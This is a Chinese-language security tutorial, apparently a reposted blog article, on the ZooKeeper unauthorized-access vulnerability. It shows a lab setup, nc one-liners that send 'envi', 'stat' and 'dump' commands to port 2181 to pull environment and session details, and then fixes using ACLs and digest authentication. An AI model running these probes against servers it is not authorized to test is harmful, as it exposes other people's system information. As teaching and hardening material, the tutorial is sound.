访问：http://192.168.32.183/latest.php?ddreset=1

还有以下链接可以访问：

ZooKeeper未授权访问漏洞

漏洞描述

ZooKeeper默认开启在2181端口，在未进行任何访问控制情况下，攻击者可通过执行envi命令获得系统大量的敏感信息，包括系统名称、Java环境。

环境搭建

Zookeeper的默认开放端口是2181

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz

tar -zxvf zookeepre-3.4.10.tar.gz
cd zookeeper-3.4.10/
cd conf/
vi zoo.cfg
### 配置单机模式
tickTime=2000    
dataDir=/tmp/zookeeper/data    
dataLogDir=/tmp/zookeeper/logs    
clientPort=2181 

bin/zkServer.sh start   //启动
### 启动client连接server
bin/zkCli.sh -server localhost:2181
bash15 行

漏洞利用

执行以下命令即可远程获取该服务器的环境：

echo envi | nc 192.168.32.131 2181
text1 行

stat：列出关于性能和连接的客户端的统计信息。

echo stat |nc 192.168.32.131 2181
text1 行

ruok：测试服务器是否运行在非错误状态。 echo ruok |ncat 127.0.0.1 2181

reqs：列出未完成的请求。 echo reqs |ncat 127.0.0.1 2181

envi：打印有关服务环境的详细信息。 echo envi |ncat 127.0.0.1 2181

dump：列出未完成的会话和临时节点。 echo dump |ncat 127.0.0.1 2181

修复建议

禁止把Zookeeper直接暴露在公网 添加访问控制，根据情况选择对应方式（认证用户，用户名密码）

绑定指定IP访问 (推荐)：

1、登陆zookeeper

./zkCli.sh -server <IP>:<port>
ruby1 行

2、查看当前权限：

getAcl /
text1 行

3、添加可访问IP

setAcl / ip:192.168.1.xx:cdrwa,ip:192.168.1.xx:cdrwa
text1 行

4、查看是否正常添加

getAcl /
text1 行

未授权也可以连接，但是查看节点时会报错KeeperErrorCode = NoAuth for /，localhost都不行，必须填可访问IP，才能访问。

[zk: localhost:2181(CONNECTED) 0] ls /
KeeperErrorCode = NoAuth for /
[zk: localhost:2181(CONNECTED) 1]
csharp3 行

回退办法： 使用之前设置的IP进行访问：

./zkCli.sh -server <IP>:<port>
ruby1 行

设置为所有人可访问：

setAcl / world:anyone:cdrwa
text1 行

设置身份验证

为ZooKeeper配置相应的访问权限。

1）增加一个认证用户 addauth digest 用户名:密码明文

addauth digest user1:password1
css1 行

2）设置权限 setAcl /path auth:用户名:密码明文:权限 setAcl /path digest:用户名:密码密文:权限

setAcl /test auth:user1:password1:cdrwa
bash1 行

3）查看Acl设置

getAcl /path
text1 行

原文 https://blog.csdn.net/2301_79518550/article/details/146120336